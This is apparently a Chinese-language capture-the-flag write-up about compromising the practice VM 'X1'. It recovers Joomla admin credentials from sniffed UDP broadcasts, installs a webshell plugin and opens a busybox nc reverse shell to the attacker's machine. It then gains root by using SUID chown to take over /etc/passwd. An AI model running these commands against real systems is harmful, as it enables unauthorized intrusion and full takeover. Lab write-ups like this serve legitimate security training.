Hello!今天分享一下靶机 X1 的渗透过程。这靶机其实发布有几天了,但我一直没啥空。今天瞅了一眼群里,就一个人解出来了,给我整好奇了!
一、信息收集,打探敌情
1. 老规矩,arp-scan
开路找邻居
┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l
[sudo] password for kali:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:af:40:3a, IPv4: 192.168.205.206
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.205.1 00:50:56:c0:00:08 (Unknown)
192.168.205.2 00:50:56:f4:ef:6f (Unknown)
192.168.205.207 08:00:27:aa:93:a3 (Unknown) <-- 目标IP
192.168.205.254 00:50:56:ef:52:74 (Unknown)
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.957 seconds (130.81 hosts/sec). 4 responded
目标IP锁定:192.168.205.207
。
2. nmap
扫端口,看看开了啥服务
┌──(kali㉿kali)-[~]
└─$ nmap -p- 192.168.205.207
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-11 09:26 EDT
Nmap scan report for 192.168.205.207
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:AA:93:A3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.16 seconds
开放了 22 (SSH) 和 80 (HTTP) 端口。那必须先从 80 端口下手!
3. 访问80端口,初探Web应用
浏览器打开 http://192.168.205.207/
:
看着像是个CMS,页面上还有个 "shark"(鲨鱼)。直觉告诉我,nuclei
该启动了!
┌──(kali㉿kali)-[~]
└─$ nuclei -u http://192.168.205.207/
# ... (部分输出省略) ...
[joomla-manifest-file] [http] [medium] http://192.168.205.207/administrator/manifests/files/joomla.xml
[apache-detect] [http] [info] http://192.168.205.207/ ["Apache/2.4.62 (Debian)"]
[corebos-htaccess] [http] [info] http://192.168.205.207/htaccess.txt
[joomla-detect:version] [http] [info] http://192.168.205.207/administrator/manifests/files/joomla.xml ["5.3.0"]
# ... (其他检测结果) ...
是 Joomla,版本 5.3.0。查了一下,这版本3月份才发布的第三版,真够新鲜的(流鼻涕)。这意味着公开的 Exploit 估计是没戏了,除非咱能现场打个0day,那当我没说。
还是老老实实找信息吧。
4. 目录爆破,看看藏了啥
用 gobuster
跑一下目录:
┌──(kali㉿kali)-[/mnt/hgfs/gx]
└─$ gobuster dir -u http://192.168.205.207/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,txt,md,html
# ... (扫描过程和部分结果) ...
/images (Status: 301) [Size: 319] [--> http://192.168.205.207/images/]
/index.php (Status: 200) [Size: 9102]
/README.txt (Status: 200) [Size: 5034]
/robots.txt (Status: 200) [Size: 764]
/administrator (Status: 301) [Size: 326] [--> http://192.168.205.207/administrator/]
/configuration.php (Status: 200) [Size: 0]
/htaccess.txt (Status: 200) [Size: 6899]
# ... (其他301重定向) ...
扫出来一堆301,有用的不多。
-
/index.php
:首页,忽略。 -
/README.txt
:没啥隐藏信息。 -
/robots.txt
:内容如下:User-agent: * Disallow: /administrator/ Disallow: /api/ Disallow: /bin/ Disallow: /cache/ Disallow: /cli/ Disallow: /components/ Disallow: /includes/ Disallow: /installation/ Disallow: /language/ Disallow: /layouts/ Disallow: /libraries/ Disallow: /logs/ Disallow: /modules/ Disallow: /plugins/ Disallow: /tmp/
/plugins/
目录看着可疑,但访问了一下,不给看... -
/htaccess.txt
:也没啥隐藏信息。
5. Joomla专用扫描器 joomscan
登场
找了半天没啥进展,掏出了 Joomla 专用扫描器 joomscan
:
┌──(kali㉿kali)-[~]
└─$ joomscan --url http://192.168.205.207/
# ... (扫描过程) ...
[+] FireWall Detector
[++] Firewall not detected
[+] Detecting Joomla Version
[++] Joomla 5.3.0
[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable
[+] Checking Directory Listing
[++] directory has directory listing :
http://192.168.205.207/administrator/components
http://192.168.205.207/administrator/modules
http://192.168.205.207/administrator/templates
http://192.168.205.207/images/banners
# ... (其他发现) ...
joomscan
也没发现啥实质性的漏洞,就列了几个能访问的目录。我还以为能扒拉出个什么插件漏洞呢,结果这CMS比我钱包都干净。
6. 难道不是80端口?排查其他可能性
IPv6 瞅瞅:
┌──(kali㉿kali)-[~]
└─$ ping6 -I eth0 ff02::1
# ... (ping6 正常,发现 fe80::a00:27ff:feaa:93a3%eth0) ...
└─$ nmap -6 -p- fe80::a00:27ff:feaa:93a3%eth0
# ... (扫描结果还是只有 22 和 80) ...
IPv6 这边没啥幺蛾子。
UDP 端口扫一下常见的:
┌──(kali㉿kali)-[~]
└─$ nmap -sU --top-ports 100 192.168.205.207
# ... (扫描结果) ...
PORT STATE SERVICE
68/udp open|filtered dhcpc
常见的100个UDP端口也没啥发现(如果他端口开在100名开外,那对我可真是绝杀了)。
这下给我整怀疑人生了,去瞅了眼靶机难度:
"比较简单"???难道是我变菜了???
7. 峰回路转,监听网络流量!
之前遇到过会定时发包的靶机,试试看有没有动静。
tcpdump
监听 ICMP:
┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -A -n icmp
# ... (一片寂静) ...
毛线没有,啊啊啊!TCP的包也看了一堆,除了我自己的流量,也没啥特别的(私人的包就不贴上来了)。
最后希望,UDP流量:
┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -A -n udp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
09:57:33.971737 IP 192.168.205.207.48368 > 255.255.255.255.5000: UDP, length 1
E.....@.@................ h.8.................
09:57:33.971797 IP 192.168.205.207.48368 > 255.255.255.255.5000: UDP, length 1
E.....@.@................ h.8.................
# ... (持续出现类似的 UDP 包,目标端口 5000,长度为 1) ...
09:58:02.059998 IP 192.168.205.207.39435 > 255.255.255.255.5000: UDP, length 1
E...+t@.@................ Q.r.................
# ... (数据内容在变化,但都是单个字符) ...
我去!在这儿等着我呢!目标主机 192.168.205.207
在往广播地址 255.255.255.255
的 UDP 5000 端口发包,每次一个字符。
这不就对上了吗?首页那个 "shark"(鲨鱼)... Wireshark!草,原来是这个意思!
赶紧把这些字符提取出来。一个个复制粘贴太蠢了,不理解但尊重想那么干的勇士。
仔细观察发现,它是在UDP 5000端口下发送数据。用 nc
试试:
┌──(kali㉿kali)-[~]
└─$ nc -lu -p 5000
r^C
等了一会儿,nc
只能接收一个字符,而且接收完就断了。这不行啊,得想个办法持续接收。我去问了GPT,它给了个用 ncat
的方法:
┌──(kali㉿kali)-[~]
└─$ ncat -luk -p 5000
8182602383ce1root:00dae9e3052fb2255408182602383ce1^C
成了!捕获到一串字符:root:00dae9e3052fb2255408182602383ce1
二、获取初始访问权限
按照我对群主的理解,就算靶机标的“比较简单”,也不会直接就送个 root 密码。这串 root:00dae9e3052fb2255408182602383ce1
看着就像用户名和密码(或者密码哈希),这应该是 Joomla 后台 /administrator/
的登录凭据。
1. 登录Joomla后台
用用户名 root
和密码 00dae9e3052fb2255408182602383ce1
尝试登录 http://192.168.205.207/administrator/
。
成功登录!我还以为要解个Hash呢。
2. 上传Webshell插件
进了后台,这种CMS最常见的GetShell方式就是通过插件上传Webshell。
在GitHub上搜了一下 "Joomla webshell plugin",很快找到了一个现成的:
https://github.com/p0dalirius/Joomla-webshell-plugin
根据项目说明,在它的 dist
目录里下载一个打包好的 mod_webshell.zip
就行。
回到Joomla后台,"System" -> "Install" -> "Extensions",上传并安装 mod_webshell.zip
。
安装成功后,根据插件的说明文档,可以通过访问特定路径来执行命令。
测试一下命令执行:
┌──(kali㉿kali)-[/mnt/hgfs/gx]
└─$ curl -X POST 'http://192.168.205.207/modules/mod_webshell/mod_webshell.php' --data "action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","stderr":"","exec":"id"}
命令成功执行,当前用户是 www-data
。
三、反弹Shell与提权
1. 获取反弹Shell
先在Kali上监听端口:
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
然后通过Webshell执行反弹命令:
┌──(kali㉿kali)-[/mnt/hgfs/gx]
└─$ curl -X POST 'http://192.168.205.207/modules/mod_webshell/mod_webshell.php' --data "action=exec&cmd=nc 192.168.205.206 8888 -e /bin/bash"
{"stdout":"","stderr":"sh: 1: nc: not found\n","exec":"nc 192.168.205.206 8888 -e \/bin\/bash"}
目标机上没有 nc
。试试 busybox nc
:
┌──(kali㉿kali)-[/mnt/hgfs/gx]
└─$ curl -X POST 'http://192.168.205.207/modules/mod_webshell/mod_webshell.php' --data "action=exec&cmd=busybox nc 192.168.205.206 8888 -e /bin/sh"
这次成功了!Kali的监听器收到了连接:
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.205.206] from (UNKNOWN) [192.168.205.207] 39696
2. 稳定Shell
得到的初始Shell不太好用,需要稳定一下:
# 在反弹回来的shell里执行
script /dev/null -c bash
# 按 Ctrl+Z 放到后台
# 在Kali终端执行
stty raw -echo; fg
# 回车,然后继续在反弹shell里执行
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 24 columns 80 # 根据自己终端调整
OK,现在有个像样的Shell了。
3. 权限提升 (www-data
-> root
)
当前用户 www-data
:
www-data@X1:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
到处翻翻看,先看看 /home
和 /var/www
目录:
www-data@X1:/$ cd /home/
www-data@X1:/home$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Apr 11 22:27 .
drwxr-xr-x 19 root root 4096 May 10 03:38 ..
drwx------ 2 welcome welcome 4096 May 10 03:44 welcome
www-data@X1:/home$ cd /var/www/html
www-data@X1:/var/www/html$ ls -al
# ... (Joomla 文件列表) ...
www-data@X1:/var/www/html$ cat web.config.txt
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<location path=".">
<system.webServer>
<directoryBrowse enabled="false" />
<rewrite>
<rules>
<rule name="Joomla! Common Exploits Prevention" stopProcessing="true">
<match url="^(.*)$" ignoreCase="false" />
<conditions logicalGrouping="MatchAny">
<add input="{QUERY_STRING}" pattern="base64_encode[^(]*\([^)]*\)" ignoreCase="false" />
<add input="{QUERY_STRING}" pattern="(>|%3C)([^s]*s)+cript.*(<|%3E)" />
<add input="{QUERY_STRING}" pattern="GLOBALS(=|\[|\%[0-9A-Z]{0,2})" ignoreCase="false" />
<add input="{QUERY_STRING}" pattern="_REQUEST(=|\[|\%[0-9A-Z]{0,2})" ignoreCase="false" />
</conditions>
<action type="CustomResponse" url="index.php" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
</rule>
<rule name="Joomla! API Application SEF URLs">
<match url="^api/(.*)" ignoreCase="false" />
<conditions logicalGrouping="MatchAll">
<add input="{URL}" pattern="^/api/index.php" ignoreCase="true" negate="true" />
<add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" negate="true" />
<add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" negate="true" />
</conditions>
<action type="Rewrite" url="api/index.php" />
</rule>
<rule name="Joomla! Public Frontend SEF URLs">
<match url="(.*)" ignoreCase="false" />
<conditions logicalGrouping="MatchAll">
<add input="{URL}" pattern="^/index.php" ignoreCase="true" negate="true" />
<add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" negate="true" />
<add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" negate="true" />
</conditions>
<action type="Rewrite" url="index.php" />
</rule>
</rules>
</rewrite>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="nosniff" />
<!-- Protect against certain cross-origin requests. More information can be found here: -->
<!-- https://developer.mozilla.org/en-US/docs/Web/HTTP/Cross-Origin_Resource_Policy_(CORP) -->
<!-- https://web.dev/why-coop-coep/ -->
<!-- <add name="Cross-Origin-Resource-Policy" value="same-origin" /> -->
<!-- <add name="Cross-Origin-Embedder-Policy" value="require-corp" /> -->
</customHeaders>
</httpProtocol>
</system.webServer>
</location>
</configuration>
寻找SUID文件进行提权:
www-data@X1:/var/www/html$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chown <-- 老朋友了!
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
发现了 /usr/bin/chown
这个老朋友,并且有SUID权限。
查阅 GTFOBins (https://gtfobins.github.io/gtfobins/chown/#suid):
思路就是用 chown
把 /etc/passwd
的所有权改成 www-data
,然后我们就可以编辑它,给root用户改个密码(或者直接添加一个带root权限的新用户)。
生成密码哈希:
在Kali上用 openssl
生成一个密码 888888
的哈希:
┌──(kali㉿kali)-[/mnt/hgfs/gx]
└─$ openssl passwd 888888
$1$FRnIm4sd$wXAhXRwWvKAL1viFFq.9A1
开始操作:
在 www-data
的Shell里:
-
更改
/etc/passwd
的所有权:www-data@X1:/var/www/html/administrator$ chown www-data:www-data /etc/passwd
-
编辑
/etc/passwd
(如果目标机上有nano
或vi
就方便多了,没有的话就得想办法把内容弄出来改了再覆盖回去):www-data@X1:/var/www/html/administrator$ nano /etc/passwd
找到
root
用户那一行,通常是root:x:0:0:root:/root:/bin/bash
,把x
替换成我们生成的哈希$1$FRnIm4sd$wXAhXRwWvKAL1viFFq.9A1
。
修改后变成:root:$1$FRnIm4sd$wXAhXRwWvKAL1viFFq.9A1:0:0:root:/root:/bin/bash
-
切换到
root
用户:www-data@X1:/var/www/html/administrator$ su - Password: # 输入 888888 root@X1:~# id uid=0(root) gid=0(root) groups=0(root)
成功拿到 root 权限!
4. 读取最终的 Flag
root@X1:~# cat /root/root.txt
flag{root-72c0cd908b77fd5a4d0c988f7e002431}
搞定!
四、总结
这个 X1 靶机,前期信息收集阶段那个 UDP 80 端口的"鲨鱼"提示确实有点意思,没注意到的话估计得卡一会儿(我就是那个冤种)。拿到 Joomla 后台凭据后,上传插件 getshell 属于常规操作。最后的 chown
SUID 提权也是比较经典的利用方式。整体来说,确实是“比较简单”,但过程还是挺有趣的。